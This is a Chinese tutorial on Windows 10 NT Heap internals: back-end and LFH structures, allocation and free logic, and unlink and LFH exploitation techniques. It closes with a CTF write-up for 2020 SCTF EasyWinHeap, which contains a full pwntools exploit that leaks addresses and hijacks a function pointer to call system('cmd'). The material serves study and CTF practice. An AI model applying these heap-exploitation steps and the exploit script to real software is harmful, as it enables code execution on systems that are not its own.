windows堆基础知识
win10的memory allocator基本上分为两种:
- Nt Heap
- 默认的memory allocator
- 后端管理器(Back-End)
- 前端管理器(Front-End)
- SegmentHeap
- Win10中全新的memory allocator机制
在LFH未启用时,我们call malloc

启用LFH后,第一次或LFH能用的空间都用完时,会先跟Back-End要一大块空间来管理
启用LFH之后分配相同大小时,会直接给Front-End管理

Nt Heap
Back-End
数据结构
_HEAP
_HEAP
是每个堆的核心结构,用来管理该heap
,每个Heap
都有一个_HEAP
在heap
开头
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| struct _HEAP { union { struct _HEAP_SEGMENT Segment; struct { struct _HEAP_ENTRY Entry; ULONG SegmentSignature; ULONG SegmentFlags; struct _LIST_ENTRY SegmentListEntry; struct _HEAP* Heap; VOID* BaseAddress; ULONG NumberOfPages; struct _HEAP_ENTRY* FirstEntry; struct _HEAP_ENTRY* LastValidEntry; ULONG NumberOfUnCommittedPages; ULONG NumberOfUnCommittedRanges; USHORT SegmentAllocatorBackTraceIndex; USHORT Reserved; struct _LIST_ENTRY UCRSegmentList; }; }; ULONG Flags; ULONG ForceFlags; ULONG CompatibilityFlags; ULONG EncodeFlagMask; struct _HEAP_ENTRY Encoding; ULONG Interceptor; ULONG VirtualMemoryThreshold; ULONG Signature; ULONGLONG SegmentReserve; ULONGLONG SegmentCommit; ULONGLONG DeCommitFreeBlockThreshold; ULONGLONG DeCommitTotalFreeThreshold; ULONGLONG TotalFreeSize; ULONGLONG MaximumAllocationSize; USHORT ProcessHeapsListIndex; USHORT HeaderValidateLength; VOID* HeaderValidateCopy; USHORT NextAvailableTagIndex; USHORT MaximumTagIndex; struct _HEAP_TAG_ENTRY* TagEntries; struct _LIST_ENTRY UCRList; ULONGLONG AlignRound; ULONGLONG AlignMask; struct _LIST_ENTRY VirtualAllocdBlocks; struct _LIST_ENTRY SegmentList; USHORT AllocatorBackTraceIndex; ULONG NonDedicatedListLength; VOID* BlocksIndex; VOID* UCRIndex; struct _HEAP_PSEUDO_TAG_ENTRY* PseudoTagEntries; struct _LIST_ENTRY FreeLists; struct _HEAP_LOCK* LockVariable; LONG (*CommitRoutine)(VOID* arg1, VOID** arg2, ULONGLONG* arg3); union _RTL_RUN_ONCE StackTraceInitVar; struct _RTL_HEAP_MEMORY_LIMIT_DATA CommitLimitData; VOID* FrontEndHeap; USHORT FrontHeapLockCount; UCHAR FrontEndHeapType; UCHAR RequestedFrontEndHeapType; WCHAR* FrontEndHeapUsageData; USHORT FrontEndHeapMaximumIndex; volatile UCHAR FrontEndHeapStatusBitmap[129]; struct _HEAP_COUNTERS Counters; struct _HEAP_TUNING_PARAMETERS TuningParameters; };
|
其中
1 2
| ULONG EncodeFlagMask; struct _HEAP_ENTRY Encoding;
|
EncodeFlagMask
是用来判断是否要encode该heap中chunk的header
Encoding
用来与chunk header做xor的cookie
所有的chunk都会经过xor,在存入chunk header时,会将整个header^(_HEAP->Encoding)
再存入
decode时会验证,确保没被改掉,验证方式为:先异或回原来的值,然后前三个byte异或后和第四个byte比对
1 2
| VOID* BlocksIndex; struct _LIST_ENTRY FreeLists;
|
BlocksIndex
是Back-End的重要结构,之后会详细讲解
FreeList
串接Back-End中的所有free chunk,类似unsorted bin
1 2
| VOID* FrontEndHeap; WCHAR* FrontEndHeapUsageData;
|
FrontEndHeap
指向管理Front-End的Heap的结构
FrontEndHeapUsageData
指向一个对应各大小的chunk的阵列,记录各种大小chunk使用次数,到达某种程度时会采用Front-End allocater
_HEAP_ENTRY(chunk)
_HEAP_ENTRY(chunk)
- 分为三种情况
- Allocated chunk
- Freed chunk
- VirtualAlloc chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| struct _HEAP_ENTRY { union { struct _HEAP_UNPACKED_ENTRY UnpackedEntry; struct { VOID* PreviousBlockPrivateData; union { struct { USHORT Size; UCHAR Flags; UCHAR SmallTagIndex; }; struct { ULONG SubSegmentCode; USHORT PreviousSize; union { UCHAR SegmentOffset; UCHAR LFHFlags; }; UCHAR UnusedBytes; }; ULONGLONG CompactHeader; }; }; struct _HEAP_EXTENDED_ENTRY ExtendedEntry; struct { VOID* Reserved; union { struct { USHORT FunctionIndex; USHORT ContextValue; }; ULONG InterceptorValue; }; USHORT UnusedBytesLength; UCHAR EntryOffset; UCHAR ExtendedBlockSignature; }; struct { VOID* ReservedForAlignment; union { struct { ULONG Code1; union { struct { USHORT Code2; UCHAR Code3; UCHAR Code4; }; ULONG Code234; }; }; ULONGLONG AgregateCode; }; }; }; };
|
虽说这个结构体有点复杂,但是是取决于这个chunk的状态的
Inused状态
1 2 3 4 5 6 7 8 9 10
| struct _HEAP_ENTRY{ void * PreviousBlockPrivateData; Uint2B Size; Uchar Flags; Uchar SmallTagIndex; Uint2B PreviousSize; Uchar SegmentOffset; Uchar Unusedbyte; Uchar UserData[]; }
|
PreviousBlockPrivateData
基本上是前一块chunk的数据
Size
存入的方式是(size>>4)即0x10对齐
Flag
表示该chunk是否inused
SmallTagIndex
是Size
和Flags
成员三字节数据逐个xor结果, 取出时会进行校验
PreviousSize
是相邻前一块chunk的Size,一样是>>4过后的数值
SegmentOffset
某些情况用来找segment
Unusebyte
记录user malloc后所剩的chunk空间,可以用来判断chunk的状态是FrontEnd or BackEnd
UserData
是User所使用的区块
freed状态
1 2 3 4 5 6 7 8 9 10 11
| struct _HEAP_ENTRY{ void * PreviousBlockPrivateData; //0x0 Uint2B Size; //0x8 Uchar Flags; //0xa Uchar SmallTagIndex; //0xb Uint2B PreviousSize; //0xc Uchar SegmentOffset; //0xe Uchar Unusedbyte; //0xf struct _LIST_ENTRY* Flink; //0x10 struct _LIST_ENTRY* Blink; //0x18 }
|
Flink
指向linked list中下一块chunk
Blink
指向linked list中上一块chunk
Unusedbyte
恒为0
_HEAP_VIRTUAL_ALLOC_ENTRY(mmap chunk)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| struct _HEAP_VIRTUAL_ALLOC_ENTRY { struct _LIST_ENTRY Entry; struct _HEAP_ENTRY_EXTRA ExtraStuff; ULONGLONG CommitSize; ULONGLONG ReserveSize; struct _HEAP_ENTRY BusyBlock; };
struct _LIST_ENTRY { struct _LIST_ENTRY* Flink; struct _LIST_ENTRY* Blink; };
struct _HEAP_ENTRY_EXTRA { union { struct { USHORT AllocatorBackTraceIndex; USHORT TagIndex; ULONGLONG Settable; }; struct { ULONGLONG ZeroInit; ULONGLONG ZeroInit1; }; }; };
|
BusyBlock
的结构体和上述的chunk的结构体是类似的
其中
Size
是指的是unused size
,存储时也没有进行size >> 4
的shift
操作
UnusedBytes
恒为4
在Free完一块chunk后,会将该chunk放在FreeLists中,会按照大小决定插入的位置
_HEAP->BlocksIndex
1 2 3 4 5 6 7 8 9 10 11 12 13
| struct _HEAP_LIST_LOOKUP { struct _HEAP_LIST_LOOKUP* ExtendedLookup; ULONG ArraySize; ULONG ExtraItem; ULONG ItemCount; ULONG OutOfRangeItems; ULONG BaseIndex; struct _LIST_ENTRY* ListHead; ULONG* ListsInUseUlong; struct _LIST_ENTRY** ListHints; };
|
ExtendedLookup
指向下一个ExtendedLookup,通常下一个会管理更大块chunk
ArraySize
该结构管理的最大chunk的大小,通常为0x80(实际上是0x800)
ItemCount
目前该结构所管理的chunk数
OutofRangeItems
是超出该结构所管理大小的chunk数量
BaseIndex
该结构所管理chunk的起始index
ListHead
指向FreeList的Head
ListsInUseUlong
用来判断ListHint中是否有合适大小的chunk,是一个bitmap
ListHint
用来指向相对应大小的chunk array,大小为0x10为一个间隔
分配机制
基本上分为三种:
- Size<=0x4000
- 0x4000 < size <=0xff000
- Size > 0xff000
Size <= 0x4000
首先会看该Size对应的FrontEndHeapStatusBitmap
是否启用了LFH
- 没有的话,会对对应的
FrontEndHeapUsageData
加上0x21
- 并且检查值是否超过
0xff00
或&0x1f
后超过0x10,如果通过这个条件就会启用LFH
接下来会看对应的ListHint
是否有值,会以ListHint
中的chunk
为优先
如果有值,就会看该chunk的Flink
大小是否刚好也是同样的Size
如果没有刚好适合的
- 从比较大的
ListHint
中找,有找到就执行(1)(2)
- 然后将该chunk进行切割,剩下大小重新加入Freelist,如果可以放进ListHint就会放进去
- 最后回传切割好的chunk给使用者,并将header异或回去
如果Freelist中都没有
- 尝试
ExtendHeap
加大Heap空间
- 再从
extend
出来的chunk拿
- 接着后面一样切割,放回
ListHint
,还原Header
0x4000 < size <=0xff000
- 除了没有对LFH相关操作外,其余都跟0x4000一样
Size > 0xff000
- 直接使用
ZwAllocateVirtualThreshold
- 类似mmap直接给一大块,并且会插入
_HEAP->VirtualAllocdBlocks
这个linked list
中
- 这个linked list是串接该
Heap VirtualAllocate
出来的区段用的
Free机制
可分为两种:
- Size <= 0xff000
- Size > 0xff000
Size <= 0xff000
Size > 0xff000
- 检查该chunk的linked list,并从
_HEAP->VirtualAllocdBlocks
移除
- 接着使用
RtlpSecaMemFreeVirtualMemory
将chunk整个munmap掉
Back-End Exploitation
Unlink
基本上与Linux中的unlink很类似,绕过方法差不多,简而言之是利用从linked list移除node的行为来做有限制的写入
要注意的是在会decode的地方,都要让他正常decode,也就是check sum要通过
另外一点是Flink及Blink并不是指向chunk开头,而是直接指向User data部分,也就是不太需要做偏移伪造chunk,所以找到一个指向该userdata的pointer让他绕过double linked list的验证就好了
一般来说Unlink完之后就有任意地址读写了,基本getshell的方法都是通过ROP,那么就要泄露地址
- 代码地址
- 共享库地址
text --> IAT --> xxx.dll --> xxx.dll
_HEAP->LockVariable.Lock --> ntdll.dll
CrticalSection->DebugInfo --> ntdll.dll
- 栈地址
Kernel32.dll --> kernelbase.dll --> KERNELBASE!BasepFilterInfo --> stack address
kernel32.dll --> ntdll.dll --> ntdll!PebLdr --> PEB --> TEB --> stack address
要么纯ROP到getshell,要么ROP to VirtualProtect/VirtualAlloc,然后Jmp to shellcode
Front-End
- 在非Debug下才会enable
- Size < 0x4000
数据结构
_LFH_HEAP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| 0:000> dt _LFH_HEAP ntdll!_LFH_HEAP +0x000 Lock : _RTL_SRWLOCK +0x008 SubSegmentZones : _LIST_ENTRY +0x018 Heap : Ptr64 Void +0x020 NextSegmentInfoArrayAddress : Ptr64 Void +0x028 FirstUncommittedAddress : Ptr64 Void +0x030 ReservedAddressLimit : Ptr64 Void +0x038 SegmentCreate : Uint4B +0x03c SegmentDelete : Uint4B +0x040 MinimumCacheDepth : Uint4B +0x044 CacheShiftThreshold : Uint4B +0x048 SizeInCache : Uint8B +0x050 RunInfo : _HEAP_BUCKET_RUN_INFO +0x060 UserBlockCache : [12] _USER_MEMORY_CACHE_ENTRY +0x2a0 MemoryPolicies : _HEAP_LFH_MEM_POLICIES +0x2a4 Buckets : [129] _HEAP_BUCKET +0x4a8 SegmentInfoArrays : [129] Ptr64 _HEAP_LOCAL_SEGMENT_INFO +0x8b0 AffinitizedInfoArrays : [129] Ptr64 _HEAP_LOCAL_SEGMENT_INFO +0xcb8 SegmentAllocator : Ptr64 _SEGMENT_HEAP +0xcc0 LocalData : [1] _HEAP_LOCAL_DATA
|
Heap
指向对应的_HEAP
Buckets
用来寻找配置大小对应到Block的阵列结构
SegmentInfoArrays
不同大小对应到不同的Segment_info结构,主要管理对应的Subsegment
LocalData
其中有个成员是指向LFH本身,用来找回LFH
_HEAP_BUCKET
1 2 3 4 5 6
| ntdll!_HEAP_BUCKET +0x000 BlockUnits : Uint2B +0x002 SizeIndex : UChar +0x003 UseAffinity : Pos 0, 1 Bit +0x003 DebugFlags : Pos 1, 2 Bits +0x003 Flags : UChar
|
BlockUnits
要分配出去的一个block大小>>4
SizeIndex
使用者需要的大小>>4
_HEAP_LOCAL_SEGMENT_INFO
1 2 3 4 5 6 7 8 9 10
| ntdll!_HEAP_LOCAL_SEGMENT_INFO +0x000 LocalData : Ptr64 _HEAP_LOCAL_DATA +0x008 ActiveSubsegment : Ptr64 _HEAP_SUBSEGMENT +0x010 CachedItems : [16] Ptr64 _HEAP_SUBSEGMENT +0x090 SListHeader : _SLIST_HEADER +0x0a0 Counters : _HEAP_BUCKET_COUNTERS +0x0a8 LastOpSequence : Uint4B +0x0ac BucketIndex : Uint2B +0x0ae LastUsed : Uint2B +0x0b0 NoThrashCount : Uint2B
|
LocalData
对应到_LFH_HEAP->LocalData
方便从Segmentinfo找回_LFH_HEAP
BucketIndex
是这个数组对应的BucketIndex,也就是_LFH_HEAP->SegmentInfoArrays
数组中对应的下标
ActiveSubsegment
一个_HEAP_SUBSEGMENT
结构体,对应到分配出去的Subsegment,记录了剩余多少chunk,该Userblock最大分配数等等
CachedItems
一个_HEAP_SUBSEGEMENT
结构体数组,存放对应到该SegmentInfo且还有可以分配chunk给user的Subsegment,当ActiveSubsegment用完之后就会从这里填充置换掉
_HEAP_SUBSEGMENT
1 2 3 4 5 6 7 8 9 10 11 12 13
| ntdll!_HEAP_SUBSEGMENT +0x000 LocalInfo : Ptr64 _HEAP_LOCAL_SEGMENT_INFO +0x008 UserBlocks : Ptr64 _HEAP_USERDATA_HEADER +0x010 DelayFreeList : _SLIST_HEADER +0x020 AggregateExchg : _INTERLOCK_SEQ +0x024 BlockSize : Uint2B +0x026 Flags : Uint2B +0x028 BlockCount : Uint2B +0x02a SizeIndex : UChar +0x02b AffinityIndex : UChar +0x024 Alignment : [2] Uint4B +0x02c Lock : Uint4B +0x030 SFreeListEntry : _SINGLE_LIST_ENTRY
|
LocalInfo
指回对应的_HEAP_LOCAL_SEGMENT_INFO
UserBlocks
一个_HEAP_USERDATA_HEADER
结构体,LFH的分配池,也就是要分配出去的Chunk所在的位置
AggregateExchg
用来管理对应的UserBlock中还有多少的freed chunk可以分配
BlockCount
在该UserBlock中每个Block(chunk)的大小
BlockCount
在该UserBlock中Block的总数
SizeIndex
该UserBlock对应到的SizeIndex,也就是CachedItems
数组的下标
_INTERLOCK_SEQ
1 2 3 4 5 6
| ntdll!_INTERLOCK_SEQ +0x000 Depth : Uint2B +0x002 Hint : Pos 0, 15 Bits +0x002 Lock : Pos 15, 1 Bit +0x002 Hint16 : Uint2B +0x000 Exchg : Int4B
|
Depth
该UserBlock中所剩下的Freed chunk数量
Lock
就是锁
1 2 3 4 5 6 7 8 9 10 11 12
| ntdll!_HEAP_USERDATA_HEADER +0x000 SFreeListEntry : _SINGLE_LIST_ENTRY +0x000 SubSegment : Ptr64 _HEAP_SUBSEGMENT +0x008 Reserved : Ptr64 Void +0x010 SizeIndexAndPadding : Uint4B +0x010 SizeIndex : UChar +0x011 GuardPagePresent : UChar +0x012 PaddingBytes : Uint2B +0x014 Signature : Uint4B +0x018 EncodedOffsets : _HEAP_USERDATA_OFFSETS +0x020 BusyBitmap : _RTL_BITMAP_EX +0x030 BitmapData : [1] Uint8B
|
SubSegment
指回这个结构体所在的SubSegment
EncodeOffsets
用来验证该chunkheader是否被修改过
BusyBitmap
记录该UserBlock哪些chunk有在用的bitmap
_HEAP_ENTRY(chunk)
1 2 3 4 5 6 7 8
| struct _HEAP_ENTRY{ void * PreviousBlockPrivateData; Uint4B SubSegmentCode; Uint2B PreviousSize; Uchar SegmentOffset; Uchar Unusedbyte; Uchar UserData[]; }
|
SubSegmentCode
是Encode过的metadata用来推回userblock的位置
PreviousSize
是该chunk在UserBlock中的index
Unusedbyte
来判断该LFH chunk状态
Freed
, 恒为0x80
Inused
, UnusedBytes & 0x80 != 0
EncodedOffsets在UserBlock初始化时设置,其值是以下四个值的xor
(sizeof(userblock header)|(BlockUnit*0x10<<16))
LFHkey
UserBlock address
_LFH_HEAP address
所有的chunk header在初始化时都会经过xor,为下面四个值的xor
_HEAP address
LFHkey
Chunk address >> 4
((chunk address) - (UserBlock address)) << 12
分配机制
初始化
- 在
FrintEndHeapUsageData[x] & 0x1f > 0x10
时,下一次allocate
会对LFH
做出初始化
- 会先
ExtendFrontEndUsageData
及增加更大的BlocksIndex
(0x80-0x400)
- 建立
FrontEndHeap
- 初始化
SegmentInfoArrays[idx]
- 接下来在allocate相同大小的chunk就会开始使用LFH
在第17次的malloc同一个size的时候,此时对应的FrontEndHeapUsageData[x]=0x231 & 0x1f > 0x10
,然后heap->CompatibilityFlag |= 0x20000000
,设置上这个flag后,下次allocate就会去初始化LFH
malloc同一个size第18次时
ExtendFrontEndUsageData
及增加更大的BlocksIndex
(0x80-0x400),并设置对应的bitmap
- 并在对应的
FrontEndHeapUsageData
写上对应的index,此时可enable LFH
范围变为(idx:0-0x400)
- 建立并初始化
FrontEndHeap
(mmap)
- 初始化
SegmentInfoArrays[idx]
- 在
SegmentInfoArrays[BucketIndex]
填上segmentInfo

malloc同一个size第19次时
- Allocate Userblock 并初始化
- 设置对应的ActiviteSubsegment
- 随机返回其中的一个chunk

Allocate
- 先看看
ActiveSubsegment
中是否有可分配的chunk
- 从
ActiveSubsegment->depth
判断
- 如果没有则会从
CachedItem
找,有找到的话会把ActiveSubsegment
换成CachedItem
中的subsegment
- 取得
RtlpLowFragHeapRandomData[x]
上的值,下一次会从RtlpLowFragHeapRandomData[x+1]
取,当下一次轮回时x=rand()%256
开始取,x是一个byte的,范围在0x00-0x7f
- 最后的index为
RtlpLowFragHeapRandomData[x]*maxidx>>7
,如果冲突则往后取最近的
- 检查
(unused byte & 0x3f) != 0
表示chunk是freed
- 最后设置index及unsed byte就返回给用户了
Free
- 用chunk header寻找UserBlock,然后找回对应的SubSegment,设置
unused byte=0x80
,清除对应的bitmap,update AggregateExchg
- ActiveSubsegment并不等于就是free掉chunk的subsegment
Front-End Exploitation
假设我们拥有Use after free的漏洞,但是因为LFH的随机性,我们无法预测下一块chunk在哪里,使得我们难以利用
这时我们可以通过填满Userblock的方式,在free掉其中一块,那么下一次该chunk必定会拿到同一块,我们可以利用这个特性,拿到overlap chunk并进一步利用
例题
2020SCTF_EasyWinHeap
逆向分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| case 1: heapIndex = 0; heapEntry = &MyHeapEntry_0[1].content; break; ...... printString("size >"); scanf("%ud", (char)allocSizeBuffer); getchar(); if ( *(_DWORD *)allocSizeBuffer > 0x90u ) break; sizeRoundedUp = (*(_DWORD *)allocSizeBuffer >> 4) + 1; allocatedBlock = HeapAlloc(hHeap, 1u, sizeRoundedUp); heapBase = MyHeapEntry_0; MyHeapEntry_0[heapIndex].func_ptr = (void *)((unsigned int)puts | sizeRoundedUp); heapBase[heapIndex].content = allocatedBlock;
|
省略部分有一个堆条目的查找,可能是因为编译器优化的原因,导致十分复杂,但大致逻辑是一次检查多个条目,根据第一个寻找到的空位置来调整索引值
看到这个分配逻辑,有个func_ptr
感觉或许有点用,其中要注意的是 我们输入的Size会>>4)+1然后与puts进行或的操作,对比下述的show操作,可以知道这个func_ptr的低位是size位,但是问题在于此时HeapAlloc的size是处理过的size
1 2 3 4 5 6 7 8
| case 2: printString("index >"); scanf("%ud", (char)deleteIndexBuffer); getchar(); if ( *(_DWORD *)deleteIndexBuffer >= 0x10u || !MyHeapEntry_0[*(_DWORD *)deleteIndexBuffer].heap_addr ) goto LABEL_29; HeapFree(hHeap, 1u, MyHeapEntry_0[*(_DWORD *)deleteIndexBuffer].heap_addr); continue;
|
这个delete的逻辑,显然是一个UAF
1 2 3 4 5 6 7 8
| case 3: printString("index >"); scanf("%ud", (char)showIndexBuffer); getchar(); if ( *(_DWORD *)showIndexBuffer >= 0x10u || !MyHeapEntry_0[*(_DWORD *)showIndexBuffer].heap_addr ) goto LABEL_29; ((void (__cdecl *)(void *))((int)MyHeapEntry_0[*(_DWORD *)showIndexBuffer].func_ptr & 0xFFFFFFF0))(MyHeapEntry_0[*(_DWORD *)showIndexBuffer].heap_addr); continue;
|
这个show是通过直接调用这个上面提到的func_ptr
的,那么如果能hijack这个结构体,就能做到一个getcmd的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| case 4: printString("index >"); scanf("%ud", (char)editIndexBuffer); getchar(); if ( *(_DWORD *)editIndexBuffer >= 0x10u ) goto LABEL_29; entryOffset = *(_DWORD *)editIndexBuffer; if ( !MyHeapEntry_0[*(_DWORD *)editIndexBuffer].heap_addr ) goto LABEL_29; printString("content >"); contentIndex = 0; heapProperties = MyHeapEntry_0[entryOffset].func_ptr; contentAddress = MyHeapEntry_0[entryOffset].heap_addr; contentSize = 16 * ((unsigned __int8)heapProperties & 0xF); inputChar = getchar(); if ( inputChar != 10 ) { do { contentAddress[contentIndex] = inputChar; if ( ++contentIndex == contentSize - 1 ) break; inputChar = getchar(); } while ( inputChar != 10 ); printString = (void (__cdecl *)(const char *))puts; } contentAddress[contentIndex] = 0; continue;
|
edit操作,Size会多乘以0x10,因此是有个堆溢出的漏洞的
思路
因为开了ASLR
,先想的是通过free
后的Flink
来泄露heap_base
,会发现其实存储每一个堆条目信息的,也是存储在heap上的,因此就可以打unlink辣
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| p = run()
def choice(idx): sla(b'option >\r\n',tbs(idx))
def add(size): choice(1) sla(b'size >\r\n',tbs(size))
def delete(idx): choice(2) sla(b'index >\r\n',tbs(idx))
def show(idx): choice(3) sla(b'index >\r\n',tbs(idx))
def edit(idx,content): choice(4) sla(b'index >\r\n',tbs(idx)) sla(b'content >\r\n',content)
add(32) add(32) add(32) delete(1) show(1) heap_base = u32(ru(b"\r\n", drop=True)[:4])-0x550
leak("heap_base",heap_base)
edit(1,p32(heap_base+0x4A4-4)+p32(heap_base+0x4A4))
pause() delete(0) show(1) image_base=u32(ru(b"\r\n", drop=True)[:4])-0x1043 leak("image_base",image_base)
puts_iat = image_base + 0x20c4 edit(1, p32(puts_iat)+p32(0)+p32(heap_base+0x4A4));show(1) ucrt_base = u32(r(4))-0xb89f0 log.warn("ucrt_base:" + hex(ucrt_base)) system = ucrt_base+0xefda0
edit(0, 'cmd\x00') edit(2, p32(system)+p32(heap_base+0x6D0)) show(0)
irt()
|
不过我在书写脚本的时候,发现unlink的时候,得在x32dbg才能过得去free(不知道为什么。。。。
参考
angel boy
xuanxuanblingbling